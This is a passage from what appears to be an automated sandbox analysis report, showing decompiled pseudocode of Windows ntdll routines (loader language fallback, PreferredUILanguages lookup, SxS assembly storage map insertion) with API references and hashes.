					E6A953720(_t90, __edx, __edx, _t115, __eflags);
				}
				_t91 = _t114 + 0x8c;
				_t95 =  *_t91;
				do {
					_t111 = _t95;
					_t55 = _t95 >> 1;
					if(_t55 == 0) {
						_v16 = _v16 & 0x00000000;
						_v12 = _v12 & 0x00000000;
					} else {
						_v16 = 1;
						_v12 = 1;
						if((_t95 & 0x00000001 | _t55 * 0x00000002 - 0x00000002) < 2) {
							_v12 = _v12 & 0x00000000;
						}
					}
					asm("lock cmpxchg [ebx], ecx");
					_t95 = _t111;
				} while (_t95 != _t111);
				_t92 = _t91 | 0xffffffff;
				if(_t115 != 0) {
					__eflags = _v16;
					if(__eflags != 0) {
						__eflags = E6A94EAA0(_t95, 0, _t115);
						if(__eflags >= 0) {
							_t86 = _v28;
							_t35 = _t86 + 0x50;
							 *_t35 =  *(_t86 + 0x50) | 0x00000100;
							__eflags =  *_t35;
							 *((intOrPtr*)(_t86 + 0x64)) = _t115;
						} else {
							_v16 = _v16 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							_v24 = 1;
						}
					}
					_push(_v20);
					_push(0);
					E6A954520(_t92, _t114, _t115, __eflags);
					__eflags = _v24;
					if(_v24 != 0) {
						_t113 = _t92;
						E6A949ED0(_t114 + 0x20, _t92, 0);
						E6A9E8450(_t114);
					}
				}
				if(_v12 != 0) {
					_push(2);
					asm("lock xadd [edi], eax");
					_t59 = E6A937D50();
					__eflags = _t59;
					if(_t59 != 0) {
						_t62 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t62 = 0x7ffe0386;
					}
					__eflags =  *_t62;
					if( *_t62 != 0) {
						E6A9E8A62( *(_t114 + 0x5c), _t114 + 0x78,  *((intOrPtr*)(_t114 + 0x30)),  *((intOrPtr*)(_t114 + 0x34)),  *((intOrPtr*)(_t114 + 0x3c)));
					}
					_t113 =  *(_t114 + 0x5c);
					E6A949702(_t92, _t114 + 0x78,  *(_t114 + 0x5c),  *((intOrPtr*)(_t114 + 0x74)), 0);
					asm("lock xadd [edi], eax");
					if(__eflags == 0) {
						_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))));
						 *0x6aa0b1e0(_t114);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))))))();
					}
				}
				if(_a4 != 0) {
					_t113 = 0;
					__eflags = E6A94992F(0);
					if(__eflags != 0) {
						 *((intOrPtr*)(_t114 + 0x70)) = _v0;
						asm("lock xadd [edi], eax");
						if(__eflags == 0) {
							_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))));
							 *0x6aa0b1e0(_t114);
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))))))();
						}
					}
				}
				if(_v16 == 0) {
					asm("lock xadd [edi], ebx");
					_t92 = _t92 - 1;
					__eflags = _t92;
					if(_t92 == 0) {
						_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))));
						 *0x6aa0b1e0(_t114);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))))))();
					}
					_t68 = 0;
				} else {
					_t113 = _t114;
					E6A93E63F(_v28, _t114);
					_t68 = 1;
				}
				return E6A95B640(_t68, _t92, _v8 ^ _t116, _t113, _t114, _t115);
			}

0x6a9495fb
0x6a949601
0x6a949603
0x6a949608
0x6a94960b
0x6a94960e
0x6a949613
0x6a98967f
0x6a989680
0x6a989681
0x6a989682
0x6a989682
0x6a949619
0x6a94961f
0x6a949621
0x6a949623
0x6a949625
0x6a949627
0x6a98968c
0x6a989690
0x6a94962d
0x6a949634
0x6a949643
0x6a949649
0x6a94964b
0x6a94964f
0x6a949649
0x6a949653
0x6a949657
0x6a949659
0x6a94965d
0x6a949662
0x6a98969c
0x6a9896a0
0x6a9896aa
0x6a9896ac
0x6a9896bf
0x6a9896c2
0x6a9896c2
0x6a9896c2
0x6a9896c9
0x6a9896ae
0x6a9896ae
0x6a9896b2
0x6a9896b6
0x6a9896b6
0x6a9896ac
0x6a9896cc
0x6a9896cf
0x6a9896d1
0x6a9896d6
0x6a9896da
0x6a9896e5
0x6a9896e7
0x6a9896ed
0x6a9896ed
0x6a9896da
0x6a94966c
0x6a94969e
0x6a9496a1
0x6a9496a5
0x6a9496aa
0x6a9496ac
0x6a989700
0x6a9496b2
0x6a9496b2
0x6a9496b2
0x6a9496b9
0x6a9496bb
0x6a989719
0x6a989719
0x6a9496c1
0x6a9496cc
0x6a9496d3
0x6a9496d7
0x6a989727
0x6a98972b
0x6a989731
0x6a989731
0x6a9496d7
0x6a949672
0x6a9496de
0x6a9496e7
0x6a9496e9
0x6a9496ee
0x6a9496f3
0x6a9496f7
0x6a98973c
0x6a989740
0x6a989746
0x6a989746
0x6a9496f7
0x6a9496e9
0x6a949678
0x6a98974d
0x6a989751
0x6a989751
0x6a989752
0x6a989758
0x6a98975c
0x6a989762
0x6a989762
0x6a989764
0x6a94967e
0x6a949681
0x6a949683
0x6a94968a
0x6a94968a
0x6a94969b

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00000001,?,?,7FFE0386), ref: 6A9496A5

Part of subcall function 6A949702: RtlAcquireSRWLockExclusive.1105(?,?,?,?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6A94974F
Part of subcall function 6A949702: RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6A94976D

LdrLockLoaderLock.1105(00000000,00000000,00000001,?,?,7FFE0386,?,6A916778,00000001), ref: 6A989682
RtlDebugPrintTimes.1105(?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6A98972B
RtlDebugPrintTimes.1105(?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6A989740

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$DebugExclusivePrintTimes$AcquireCurrentLoaderReleaseServiceSession
String ID:
API String ID: 732933571-0
Opcode ID: 54959c69a488f0dcee056f3e5c49c8e89dce2f1fc300c4e7f1db712048ddc435
Instruction ID: bbc5ace351b50445c5fcce003013bd593e18fe0fb93cc8645bfa87048a5393e2
Opcode Fuzzy Hash: 54959c69a488f0dcee056f3e5c49c8e89dce2f1fc300c4e7f1db712048ddc435
Instruction Fuzzy Hash: FA51CD71A04609AFEF05CF68CA48BAEB7B8FF55318F214569E42297290DF74D911CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6A9299C7, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E6A9299C7(signed int __ecx, signed int __edx, signed int _a4, signed int _a8, signed short* _a12) {
				char _v12;
				char* _v16;
				short _v18;
				char _v20;
				char* _v24;
				short _v26;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				void* _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				char _v77;
				void* _v80;
				signed int _v88;
				char _v89;
				short _t109;
				short _t110;
				void* _t111;
				signed char* _t114;
				signed int _t115;
				signed char* _t116;
				signed int _t118;
				signed int _t120;
				signed int _t125;
				signed int _t143;
				short _t146;
				signed int _t149;
				short* _t156;
				intOrPtr _t165;
				signed char* _t169;

				_v52 = __ecx;
				_t146 = 0x38;
				_t109 = 0x3a;
				_v26 = _t109;
				_t110 = 0x36;
				_v48 = __edx;
				_v28 = _t146;
				_v24 = L"LdrResFallbackLangList Enter";
				_v20 = _t110;
				_v18 = _t146;
				_v16 = L"LdrResFallbackLangList Exit";
				_t111 = E6A937D50();
				_t169 = 0x7ffe0385;
				if(_t111 != 0) {
					_t114 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
				} else {
					_t114 = 0x7ffe0385;
				}
				_t140 = 0x7ffe0384;
				if(( *_t114 & 0x00000001) != 0) {
					_t115 = E6A937D50();
					if(_t115 == 0) {
						_t116 = 0x7ffe0384;
					} else {
						_t116 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					E6A9A6715( &_v28,  *_t116 & 0x000000ff);
				}
				_t156 = _a12;
				if(_t156 == 0) {
					_t165 = 0xc000000d;
					goto L37;
				} else {
					 *_t156 = 0;
					_t149 = 0;
					 *((char*)(_t156 + 0x204)) = 0;
					_v60 = 0;
					_v64 = 0;
					_v77 = 0;
					_v56 = 0;
					while(1) {
						L5:
						_t125 = _t149;
						_t143 = _t149;
						_v68 = _t149 + 1;
						if(_t125 > 7) {
							break;
						}
						switch( *((intOrPtr*)(_t125 * 4 +  &M6A929CEB))) {
							case 0:
								__si = _a4;
								goto L13;
							case 1:
								__eflags = _a8 & 0x00000004;
								if((_a8 & 0x00000004) != 0) {
									 *((char*)(__edx + 0x204)) = 1;
									goto L36;
								}
								__eflags = _a4 & 0x000003ff;
								if((_a4 & 0x000003ff) != 0) {
									 *((char*)(__edx + 0x204)) = 1;
									__edx =  &_v72;
									__eax = E6A91649B(__ecx, __edx);
									__eflags = __eax;
									if(__eax < 0) {
										goto L36;
									}
									__si = _v72;
									__eflags = __si;
									if(__si != 0) {
										__ecx = __ebx;
									} else {
										__ecx = __ecx | 0xffffffff;
									}
									_v68 = __ecx;
									L26:
									_push(2);
									goto L13;
								}
								goto L26;
							case 2:
								_v76 = 0;
								_t127 = L6A92ABEC();
								_t151 = _v60;
								if(_t127 == 0 || _t151 >= ( *( *( *[fs:0x18] + 0xfc0) + 4) & 0x0000ffff)) {
									_t173 = 0;
								} else {
									L6A92AAC7(_t151,  *( *[fs:0x18] + 0xfc0), _t151,  &_v76,  &_v77);
									_t173 = _v88;
									_t151 = _v72;
								}
								if(_t173 == 0) {
									goto L21;
								} else {
									if(_v77 != 0) {
										__eflags = _a8 & 0x00100000;
										if((_a8 & 0x00100000) != 0) {
											_t173 = 0xeeee;
										}
									}
									_v60 = _t151 + 1;
									_t149 = _t143;
									_push(3);
									_pop(_t167);
									_v68 = _t149;
									goto L13;
								}
							case 3:
								__eax = _v52;
								__eflags = __eax;
								if(__eax == 0) {
									L32:
									goto L5;
								}
								__edx = _v48;
								 &_v36 =  &_v44;
								__ecx = __eax;
								__eax = L6A9261A7(__ecx, _v48,  &_v44,  &_v36, _a8);
								__eflags = __eax;
								if(__eax >= 0) {
									 &_v12 = E6A95BB40(__ecx,  &_v12, _v44);
									 &_v48 =  &_v20;
									__eax = E6A9243C0( &_v20,  &_v48);
									__eflags = __al;
									if(__al == 0) {
										_v64 = 0xc00b0005;
										goto L31;
									}
									__eflags = _a8 & 0x00100000;
									__si = _v40;
									_v76 = _v40;
									if((_a8 & 0x00100000) != 0) {
										__edx =  *[fs:0x18];
										 &_v77 =  &_v76;
										__edx =  *( *[fs:0x18] + 0xfc0);
										__eax = L6A92AAC7(__ecx, __edx, 0,  &_v76,  &_v77);
										__eflags = _v89;
										if(_v89 == 0) {
											__si = _v76;
										}
									}
									__eax = _v36;
									__al = __al & 0x00000001;
									asm("sbb edi, edi");
									goto L42;
								}
								L31:
								__ecx = _v68;
								__edx = _a12;
								goto L32;
							case 4:
								__eax = 0xeeee;
								_v76 = __ax;
								__eax = _a8;
								__eax =  !_a8;
								__eflags = __eax & 0x00080000;
								if((__eax & 0x00080000) != 0) {
									goto L36;
								}
								__eflags =  *[fs:0x18];
								if( *[fs:0x18] == 0) {
									__si = _v76;
									goto L5;
								}
								__eax =  *[fs:0x18];
								__si =  *((intOrPtr*)( *[fs:0x18] + 0xc4));
								goto L13;
							case 5:
								__eax =  &_v56;
								_push( &_v56);
								_push(1);
								__eax = L6A959630();
								__edx = _a12;
								__ecx = __eax;
								_v72 = __ecx;
								__eflags = __ecx;
								__ecx = _v76;
								if(__eflags < 0) {
									goto L5;
								}
								__si = _v56;
								goto L42;
							case 6:
								__eax =  &_v32;
								_push( &_v32);
								_push(0);
								__eax = L6A959630();
								__edx = _a12;
								__ecx = __eax;
								_v72 = __ecx;
								__eflags = __ecx;
								__ecx = _v76;
								if(__eflags < 0) {
									goto L5;
								}
								__eax = _v32;
								__eflags = _v32 - _v56;
								if(_v32 == _v56) {
									goto L5;
								}
								__si = __ax;
								L42:
								__ecx = _v68;
								goto L13;
							case 7:
								L13:
								_t159 = _a12;
								if(_t173 == 0xeeee) {
									goto L5;
								}
								_t144 =  *_t159 & 0x0000ffff;
								_t153 = 0;
								_t129 = _t144;
								if(_t129 == 0) {
									L19:
									if(_t144 >= 0x40) {
										goto L36;
									}
									 *(_t159 + 4 + _t129 * 8) = _t173;
									 *((intOrPtr*)(_t159 + 8 + ( *_t159 & 0x0000ffff) * 8)) = _t167;
									 *_t159 =  *_t159 + 1;
									L21:
									_t149 = _v68;
									goto L5;
								}
								_t162 =  &(_t159[2]);
								while( *_t162 != _t173) {
									_t153 = _t153 + 1;
									_t162 =  &(_t162[4]);
									if(_t153 < _t129) {
										continue;
									}
									break;
								}
								_t159 = _a12;
								_t149 = _v68;
								if(_t153 < _t129) {
									goto L5;
								}
								goto L19;
						}
					}
					L36:
					_t165 = _v64;
					_t169 = 0x7ffe0385;
					_t63 = _t169 - 1; // 0x7ffe0384
					_t140 = _t63;
					L37:
					_t118 = E6A937D50();
					if(_t118 != 0) {
						_t169 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t169 & 0x00000001) != 0) {
						_t120 = E6A937D50();
						if(_t120 != 0) {
							_t140 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						E6A9A6715( &_v20,  *_t140 & 0x000000ff);
					}
					return _t165;
				}
			}

0x6a9299d7
0x6a9299dd
0x6a9299e0
0x6a9299e3
0x6a9299e8
0x6a9299e9
0x6a9299ed
0x6a9299f2
0x6a9299fa
0x6a9299ff
0x6a929a04
0x6a929a0c
0x6a929a11
0x6a929a18
0x6a979ff0
0x6a929a1e
0x6a929a1e
0x6a929a1e
0x6a929a23
0x6a929a28
0x6a979ffa
0x6a97a001
0x6a97a013
0x6a97a003
0x6a97a00c
0x6a97a00c
0x6a97a01c
0x6a97a01c
0x6a929a2e
0x6a929a33
0x6a97a026
0x00000000
0x6a929a39
0x6a929a3d
0x6a929a40
0x6a929a42
0x6a929a48
0x6a929a4c
0x6a929a50
0x6a929a54
0x6a929a58
0x6a929a58
0x6a929a58
0x6a929a5a
0x6a929a5d
0x6a929a64
0x00000000
0x00000000
0x6a929a6a
0x00000000
0x6a929b45
0x00000000
0x00000000
0x6a929b4e
0x6a929b52
0x6a97a0cc
0x00000000
0x6a97a0cc
0x6a929b58
0x6a929b5f
0x6a97a030
0x6a97a03a
0x6a97a03e
0x6a97a043
0x6a97a045
0x00000000
0x00000000
0x6a97a04b
0x6a97a050
0x6a97a053
0x6a97a05a
0x6a97a055
0x6a97a055
0x6a97a055
0x6a97a05c
0x6a929b6a
0x6a929b6a
0x00000000
0x6a929b6c
0x00000000
0x00000000
0x6a929a73
0x6a929a78
0x6a929a7d
0x6a929a83
0x6a929b72
0x6a929aa1
0x6a929ab9
0x6a929abe
0x6a929ac3
0x6a929ac3
0x6a929aca
0x00000000
0x6a929ad0
0x6a929ad5
0x6a97a065
0x6a97a06c
0x6a97a072
0x6a97a072
0x6a97a06c
0x6a929adc
0x6a929ae0
0x6a929ae2
0x6a929ae4
0x6a929ae5
0x00000000
0x6a929ae5
0x00000000
0x6a929b83
0x6a929b87
0x6a929b89
0x6a929bb2
0x00000000
0x6a929bb2
0x6a929b8e
0x6a929b97
0x6a929b9c
0x6a929b9e
0x6a929ba3
0x6a929ba5
0x6a929c9f
0x6a929ca9
0x6a929cae
0x6a929cb3
0x6a929cb5
0x6a97a0b5
0x00000000
0x6a97a0b5
0x6a929cbb
0x6a929cc2
0x6a929cc7
0x6a929ccc
0x6a97a07c
0x6a97a088
0x6a97a08d
0x6a97a095
0x6a97a09a
0x6a97a09f
0x6a97a0ab
0x6a97a0ab
0x6a97a09f
0x6a929cd2
0x6a929cd6
0x6a929cdd
0x00000000
0x6a929ce2
0x6a929bab
0x6a929bab
0x6a929baf
0x00000000
0x00000000
0x6a929bbc
0x6a929bc1
0x6a929bc6
0x6a929bc9
0x6a929bcb
0x6a929bd0
0x00000000
0x00000000
0x6a929bd2
0x6a929bda
0x6a97a0c2
0x00000000
0x6a97a0c2
0x6a929be0
0x6a929be6
0x00000000
0x00000000
0x6a929c1f
0x6a929c28
0x6a929c29
0x6a929c2b
0x6a929c30
0x6a929c33
0x6a929c35
0x6a929c39
0x6a929c3b
0x6a929c3f
0x00000000
0x00000000
0x6a929c45
0x00000000
0x00000000
0x6a929c53
0x6a929c5c
0x6a929c5d
0x6a929c5f
0x6a929c64
0x6a929c67
0x6a929c69
0x6a929c6d
0x6a929c6f
0x6a929c73
0x00000000
0x00000000
0x6a929c79
0x6a929c7d
0x6a929c81
0x00000000
0x00000000
0x6a929c87
0x6a929c4a
0x6a929c4a
0x00000000
0x00000000
0x6a929ae9
0x6a929ae9
0x6a929af4
0x00000000
0x00000000
0x6a929afa
0x6a929afd
0x6a929aff
0x6a929b03
0x6a929b24
0x6a929b27
0x00000000
0x00000000
0x6a929b2d
0x6a929b35
0x6a929b39
0x6a929b3c
0x6a929b3c
0x00000000
0x6a929b3c
0x6a929b05
0x6a929b08
0x6a929b0d
0x6a929b0e
0x6a929b13
0x00000000
0x00000000
0x00000000
0x6a929b13
0x6a929b15
0x6a929b1a
0x6a929b1e
0x00000000
0x00000000
0x00000000
0x00000000
0x6a929a6a
0x6a929bf2
0x6a929bf2
0x6a929bf6
0x6a929bfb
0x6a929bfb
0x6a929bfe
0x6a929bfe
0x6a929c05
0x6a97a0e1
0x6a97a0e1
0x6a929c0e
0x6a97a0ec
0x6a97a0f3
0x6a97a0fe
0x6a97a0fe
0x6a97a10b
0x6a97a10b
0x6a929c1c
0x6a929c1c

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6A929A0C
RtlGetCurrentServiceSessionId.1105 ref: 6A929BFE
RtlGetCurrentServiceSessionId.1105 ref: 6A979FFA

Strings

LdrResFallbackLangList Exit, xrefs: 6A929A04
LdrResFallbackLangList Enter, xrefs: 6A9299F2

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession
String ID: LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 1007659313-1720564570
Opcode ID: fa7853f1cc702eef33ea6e67d2563f3aa3991b4d8dbdf04ec11c1bc0ace34ee1
Instruction ID: 36d80c559423d1915815846ee42339bdc031ab41e0b59ae43ba724d4ec8dfecd
Opcode Fuzzy Hash: fa7853f1cc702eef33ea6e67d2563f3aa3991b4d8dbdf04ec11c1bc0ace34ee1
Instruction Fuzzy Hash: 3451D131618382CFE320CF28D44476A77E4FF86754F25886AE9A4CB795EB35C840C766

Uniqueness

Uniqueness Score: -1.00%

Function 6A9CD208, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 131
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6A9CD208(void* __ecx, intOrPtr __edx, char* _a4, short* _a8) {
				void* _v8;
				signed int _v12;
				char _v16;
				short _v20;
				intOrPtr _v24;
				void* _v28;
				intOrPtr _v32;
				void* _v36;
				void* _t40;
				short _t50;
				char* _t55;
				void* _t62;
				short* _t66;
				WCHAR* _t73;
				void* _t75;
				void* _t76;

				_t75 = __ecx;
				_v24 = __edx;
				_v20 = 0;
				_t73 = 0;
				_v8 = 0xffffffff;
				if(__edx == 0 || __ecx == 0) {
					_t76 = 0xc000000d;
					goto L22;
				} else {
					_v12 = _v12 & 0;
					_v16 = 1;
					RtlInitUnicodeString( &_v36, L"PreferredUILanguages");
					_push(0xffffffff);
					_t62 = _t75;
					_t40 = E6A91F018(_t62,  &_v36,  &_v16, 0,  &_v12);
					if(_v12 == 0 || _t40 == 0xc0000034) {
						_t76 = 0xc0000001;
						goto L24;
					} else {
						_t73 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v12);
						if(_t73 != 0) {
							_push(_t62);
							_t76 = E6A91F018(_t75,  &_v36,  &_v16, _t73,  &_v12);
							if(_t76 < 0) {
								L22:
								if(_t73 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t73);
								}
								goto L24;
							}
							if(_v16 == 1) {
								RtlInitUnicodeString( &_v36, _t73);
								if(E6A9243C0( &_v36,  &_v28) == 0) {
									goto L8;
								}
								_t50 = _v28;
								if(_t50 == 0x1000 || _t50 == 0x1400) {
									_t76 = E6A91E50F( &_v20, _v24, _v32, 0,  &_v20);
									if(_t76 < 0) {
										goto L22;
									}
									_push(3);
									_pop(1);
									goto L15;
								} else {
									_v20 = _t50;
									L15:
									_t76 = E6A923AD2(_v24, 1, _v20,  &_v8);
									if(_t76 >= 0) {
										_t55 = _a4;
										if(_t55 != 0) {
											 *_t55 = 2;
										}
										_t66 = _a8;
										if(_t66 != 0) {
											 *_t66 = _v8;
										}
									}
									goto L22;
								}
							}
							L8:
							_t76 = 0xc0000001;
							goto L22;
						} else {
							_t76 = 0xc0000017;
							L24:
							return _t76;
						}
					}
				}
			}

0x6a9cd212
0x6a9cd218
0x6a9cd21c
0x6a9cd220
0x6a9cd225
0x6a9cd22b
0x6a9cd34c
0x00000000
0x6a9cd239
0x6a9cd239
0x6a9cd248
0x6a9cd24b
0x6a9cd250
0x6a9cd254
0x6a9cd25f
0x6a9cd267
0x6a9cd345
0x00000000
0x6a9cd278
0x6a9cd28b
0x6a9cd28f
0x6a9cd29b
0x6a9cd2af
0x6a9cd2b3
0x6a9cd351
0x6a9cd353
0x6a9cd361
0x6a9cd361
0x00000000
0x6a9cd353
0x6a9cd2bc
0x6a9cd2cd
0x6a9cd2e1
0x00000000
0x00000000
0x6a9cd2e3
0x6a9cd2eb
0x6a9cd30b
0x6a9cd30f
0x00000000
0x00000000
0x6a9cd311
0x6a9cd313
0x00000000
0x6a9cd2f4
0x6a9cd2f4
0x6a9cd314
0x6a9cd325
0x6a9cd329
0x6a9cd32b
0x6a9cd330
0x6a9cd332
0x6a9cd332
0x6a9cd335
0x6a9cd33a
0x6a9cd340
0x6a9cd340
0x6a9cd33a
0x00000000
0x6a9cd329
0x6a9cd2eb
0x6a9cd2be
0x6a9cd2be
0x00000000
0x6a9cd291
0x6a9cd291
0x6a9cd366
0x6a9cd36e
0x6a9cd36e
0x6a9cd28f
0x6a9cd267

APIs

RtlInitUnicodeString.1105(?,PreferredUILanguages,00000000,?,?), ref: 6A9CD24B

Part of subcall function 6A91F018: RtlAllocateHeap.1105(?,00000008,?,?,00000000,?), ref: 6A91F05B
Part of subcall function 6A91F018: ZwQueryValueKey.1105(?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6A91F07A
Part of subcall function 6A91F018: memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6A91F0AB
Part of subcall function 6A91F018: RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6A91F0CB

RtlAllocateHeap.1105(?,00000008,00000000,?,00000000,00000000,?,?,PreferredUILanguages,00000000,?,?), ref: 6A9CD286
RtlFreeHeap.1105(?,00000000,00000000,00000000,?,?), ref: 6A9CD361

Strings

PreferredUILanguages, xrefs: 6A9CD241

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFree$InitQueryStringUnicodeValuememcpy
String ID: PreferredUILanguages
API String ID: 4141005267-1884656846
Opcode ID: f1413f411604c1518d05b7c6b7414e8dadec5ecb7ea609e3c69fe7fc9e99b09f
Instruction ID: 55da386050e1093bbda8df032cf4b94057846228547ba2d6e4481de377225847
Opcode Fuzzy Hash: f1413f411604c1518d05b7c6b7414e8dadec5ecb7ea609e3c69fe7fc9e99b09f
Instruction Fuzzy Hash: 60419532940919ABDF11CA95C884AEE77BDEF45754F220166E912A7350FE34DE40C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6A94CE6C, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 131
memoryCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6A94CE6C(void* __ecx, signed int __edx, signed short* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _t37;
				void* _t54;
				signed int* _t56;
				void* _t58;
				signed int _t59;
				void* _t60;
				intOrPtr _t66;
				signed int _t69;
				void* _t70;
				void* _t73;
				signed short* _t74;
				void* _t75;
				signed int* _t76;

				_t74 = _a4;
				_t54 = __ecx;
				_t37 = __edx;
				_t73 = 0;
				_v12 = __edx;
				if(__ecx == 0 || __edx < 1 || __edx >  *((intOrPtr*)(__ecx + 4))) {
					_t56 = _a8;
					goto L17;
				} else {
					if(_t74 == 0) {
						_t56 = _a8;
						L20:
						_v8 = _v8 & _t73;
						L21:
						if(_t74 == 0) {
							_v12 = _v12 & _t73;
						} else {
							_v12 =  *_t74 & 0x0000ffff;
						}
						if(_t54 == 0) {
							_t66 = 0;
						} else {
							_t66 =  *((intOrPtr*)(_t54 + 4));
						}
						_push(_t56);
						_push(_v8);
						_push(_v12);
						_push(_t74);
						_push(_t66);
						_push(_t37);
						_push(_t54);
						E6A9A5720(0x33, 0, "SXS: %s() bad parameters\nSXS:  Map                    : %p\nSXS:  AssemblyRosterIndex    : 0x%lx\nSXS:  Map->AssemblyCount     : 0x%lx\nSXS:  StorageLocation        : %p\nSXS:  StorageLocation->Length: 0x%x\nSXS:  StorageLocation->Buffer: %p\nSXS:  OpenDirectoryHandle    : %p\n", "RtlpInsertAssemblyStorageMapEntry");
						_t75 = 0xc000000d;
						L12:
						if(_t73 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t73);
						}
						L13:
						return _t75;
					}
					_t69 =  *_t74 & 0x0000ffff;
					_t58 = 2;
					_t56 = _a8;
					if(_t69 < _t58 || _t74[2] == 0 || _t56 == 0) {
						L17:
						if(_t74 == 0) {
							goto L20;
						}
						_v8 = _t74[2];
						goto L21;
					} else {
						_t59 = _t69;
						if(_t59 + 2 > 0xfffe) {
							_t75 = 0xc0000106;
							goto L13;
						}
						_t73 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t59 + 0x12);
						if(_t73 == 0) {
							_t75 = 0xc0000017;
							goto L13;
						}
						 *_t73 =  *_t73 & 0x00000000;
						_t9 = _t73 + 0x10; // 0x10
						_t60 = _t9;
						 *(_t73 + 4) =  *_t74;
						 *(_t73 + 8) = _t60;
						_t70 = 2;
						 *((short*)(_t73 + 6)) =  *_t74 + _t70;
						memcpy(_t60, _t74[2],  *_t74 & 0x0000ffff);
						_t76 = _a8;
						 *((short*)( *(_t73 + 8) + (( *(_t73 + 4) & 0x0000ffff) >> 1) * 2)) = 0;
						 *(_t73 + 0xc) =  *_t76;
						asm("lock cmpxchg [edx], ecx");
						if(0 == 0) {
							_t73 = 0;
							 *_t76 =  *_t76 & 0;
						}
						_t75 = 0;
						goto L12;
					}
				}
			}

0x6a94ce76
0x6a94ce79
0x6a94ce7c
0x6a94ce7e
0x6a94ce80
0x6a94ce85
0x6a98adcd
0x00000000
0x6a94ce9d
0x6a94ce9f
0x6a98addc
0x6a98addf
0x6a98addf
0x6a98ade2
0x6a98ade4
0x6a98adee
0x6a98ade6
0x6a98ade9
0x6a98ade9
0x6a98adf3
0x6a98adfa
0x6a98adf5
0x6a98adf5
0x6a98adf5
0x6a98adfc
0x6a98adfd
0x6a98ae00
0x6a98ae03
0x6a98ae04
0x6a98ae05
0x6a98ae06
0x6a98ae15
0x6a98ae1d
0x6a94cf50
0x6a94cf52
0x6a98ae34
0x6a98ae34
0x6a94cf59
0x6a94cf60
0x6a94cf60
0x6a94cea5
0x6a94ceaa
0x6a94ceae
0x6a94ceb1
0x6a98add0
0x6a98add2
0x00000000
0x00000000
0x6a98add7
0x00000000
0x6a94cec8
0x6a94cec8
0x6a94ced2
0x6a98adc3
0x00000000
0x6a98adc3
0x6a94ceeb
0x6a94ceef
0x6a94cf63
0x00000000
0x6a94cf63
0x6a94cef1
0x6a94cef4
0x6a94cef4
0x6a94cefa
0x6a94cf00
0x6a94cf06
0x6a94cf0a
0x6a94cf16
0x6a94cf27
0x6a94cf2c
0x6a94cf35
0x6a94cf42
0x6a94cf48
0x6a94cf4a
0x6a94cf4c
0x6a94cf4c
0x6a94cf4e
0x00000000
0x6a94cf4e
0x6a94ceb1

APIs

